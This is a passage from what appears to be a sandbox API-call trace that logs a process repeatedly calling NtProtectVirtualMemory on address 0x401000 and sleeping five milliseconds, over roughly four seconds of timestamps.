NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.986] Sleep (dwMilliseconds=0x5) [0288.031] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.032] Sleep (dwMilliseconds=0x5) [0288.081] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.082] Sleep (dwMilliseconds=0x5) [0288.141] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.142] Sleep (dwMilliseconds=0x5) [0288.190] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.190] Sleep (dwMilliseconds=0x5) [0288.237] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.237] Sleep (dwMilliseconds=0x5) [0288.284] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.285] Sleep (dwMilliseconds=0x5) [0288.331] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.332] Sleep (dwMilliseconds=0x5) [0288.395] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.395] Sleep (dwMilliseconds=0x5) [0288.468] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.469] Sleep (dwMilliseconds=0x5) [0288.516] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.517] Sleep (dwMilliseconds=0x5) [0288.567] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.567] Sleep (dwMilliseconds=0x5) [0288.611] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.611] Sleep (dwMilliseconds=0x5) [0288.659] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.660] Sleep (dwMilliseconds=0x5) [0288.702] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.703] Sleep (dwMilliseconds=0x5) [0288.751] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.752] Sleep (dwMilliseconds=0x5) [0288.800] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.801] Sleep (dwMilliseconds=0x5) [0288.843] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.844] Sleep (dwMilliseconds=0x5) [0288.891] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.898] Sleep (dwMilliseconds=0x5) [0288.958] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.008] Sleep (dwMilliseconds=0x5) [0289.082] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.082] Sleep (dwMilliseconds=0x5) [0289.177] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.178] Sleep (dwMilliseconds=0x5) [0289.280] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.281] Sleep (dwMilliseconds=0x5) [0289.332] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.332] Sleep (dwMilliseconds=0x5) [0289.375] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.376] Sleep (dwMilliseconds=0x5) [0289.421] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.422] Sleep (dwMilliseconds=0x5) [0289.501] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.501] Sleep (dwMilliseconds=0x5) [0289.551] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.551] Sleep (dwMilliseconds=0x5) [0289.594] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.594] Sleep (dwMilliseconds=0x5) [0289.640] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.641] Sleep (dwMilliseconds=0x5) [0289.693] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.693] Sleep (dwMilliseconds=0x5) [0289.743] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.743] Sleep (dwMilliseconds=0x5) [0289.790] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.791] Sleep (dwMilliseconds=0x5) [0289.838] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.838] Sleep (dwMilliseconds=0x5) [0289.888] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.889] Sleep (dwMilliseconds=0x5) [0289.946] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.947] Sleep (dwMilliseconds=0x5) [0289.994] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.995] Sleep (dwMilliseconds=0x5) [0290.044] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0290.053] Sleep (dwMilliseconds=0x5) [0290.106] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0290.164] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0290.165] Sleep (dwMilliseconds=0x5) [0290.213] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0290.214] Sleep (dwMilliseconds=0x5) [0290.301] Sleep (dwMilliseconds=0x5) [0290.393] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0290.394] Sleep (dwMilliseconds=0x5) [0290.445] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0290.446] Sleep (dwMilliseconds=0x5) [0290.487] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0290.488] Sleep (dwMilliseconds=0x5) [0290.535] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0290.535] Sleep (dwMilliseconds=0x5) [0290.587] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0290.588] Sleep (dwMilliseconds=0x5) [0290.631] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0290.632] Sleep (dwMilliseconds=0x5) [0290.674] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0290.675] Sleep (dwMilliseconds=0x5) [0290.733] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0290.734] Sleep (dwMilliseconds=0x5) [0290.789] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0290.790] Sleep (dwMilliseconds=0x5) [0290.885] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0290.922] Sleep (dwMilliseconds=0x5) [0290.981] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0290.983] Sleep (dwMilliseconds=0x5) [0291.042] Sleep (dwMilliseconds=0x5) [0291.091] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0291.092] Sleep (dwMilliseconds=0x5) [0291.166] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0291.167] Sleep (dwMilliseconds=0x5) [0291.229] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0291.230] Sleep (dwMilliseconds=0x5) [0291.289] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0291.290] Sleep (dwMilliseconds=0x5) [0291.340] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0291.341] Sleep (dwMilliseconds=0x5) [0291.399] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0291.400] Sleep (dwMilliseconds=0x5) [0291.460] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0291.461] Sleep (dwMilliseconds=0x5) [0291.522] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0291.523] Sleep (dwMilliseconds=0x5) [0291.706] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0291.706] Sleep (dwMilliseconds=0x5) [0291.751] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0291.752] Sleep (dwMilliseconds=0x5) [0291.803] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0291.804] Sleep (dwMilliseconds=0x5) [0291.853] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0291.854] Sleep (dwMilliseconds=0x5) [0291.904] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0291.905] Sleep (dwMilliseconds=0x5) [0291.945] Sleep (dwMilliseconds=0x5) [0291.983] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0291.983] Sleep (dwMilliseconds=0x5) [0292.035] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.036] Sleep (dwMilliseconds=0x5) [0292.089] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.090] Sleep (dwMilliseconds=0x5) [0292.185] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.185] Sleep (dwMilliseconds=0x5) [0292.234] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.235] Sleep (dwMilliseconds=0x5) [0292.277] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.278] Sleep (dwMilliseconds=0x5) [0292.327] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.328] Sleep (dwMilliseconds=0x5) [0292.375] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.375] Sleep (dwMilliseconds=0x5) [0292.417] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.418] Sleep (dwMilliseconds=0x5) [0292.467] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.468] Sleep (dwMilliseconds=0x5) [0292.519] NtProtectVirtualMemory (in: 